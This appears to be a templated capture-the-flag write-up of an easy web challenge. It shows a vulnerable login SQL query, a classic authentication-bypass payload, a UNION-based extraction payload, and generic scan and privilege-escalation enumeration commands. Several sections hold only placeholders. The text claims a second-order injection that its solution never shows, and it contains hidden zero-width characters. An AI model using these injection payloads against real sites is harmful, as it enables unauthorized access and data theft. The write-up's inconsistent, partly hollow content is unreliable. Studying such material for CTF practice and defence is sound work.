Decoder

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: login_form_injection, second_order_sql_injection

Summary

"Enjoy this useful service. Username: admin, password: admin." Source code available.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: web-kids20 | ID: 20260309_web_kids20_decoder
• Tags: sql_injection, base64, second_order_sqli, login_bypass
• Indicators: login form with SQL query visible in source, base64 decode functionality after login, uid field used in subsequent queries
• Source: 20260309_web_kids20_decoder.md

Foothold

Vulnerability / Misconfiguration

1. login_form_injection
2. second_order_sql_injection

 bash read-only • copy allowed Copy
<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed Copy
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

 bash read-only • copy allowed Copy
<command>

Flags

Key Takeaways / Lessons

• login_form_injection
• second_order_sql_injection
• Tags: sql_injection, base64, second_order_sqli, login_bypass

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"Enjoy this useful service. Username: admin, password: admin." Source code available.

URL: http://hackyou-web200.ctf.su/

Analysis

The task provides a web service with a login form and base64 decoding functionality. Source code is available, revealing the SQL query:

 sql read-only • copy allowed Copy
SELECT * FROM users WHERE login='$login' AND password='$password'

After successful login, the user gains access to the base64 decoding function. The key vulnerability is a second-order SQL injection through the uid field, which is saved during login and used in subsequent queries without sanitization. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

1. Analyzed the source code and discovered SQL injection in the login form
2. The query login='$login' AND password='$password' is vulnerable to classic SQL injection
3. Used injection to extract the flag from the database

Example payload for login:

login: admin' OR '1'='1' --
password: anything

Or via UNION-based injection to extract data:

login: ' UNION SELECT 1,2,flag FROM secrets --
password: x

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

signed by XESXOR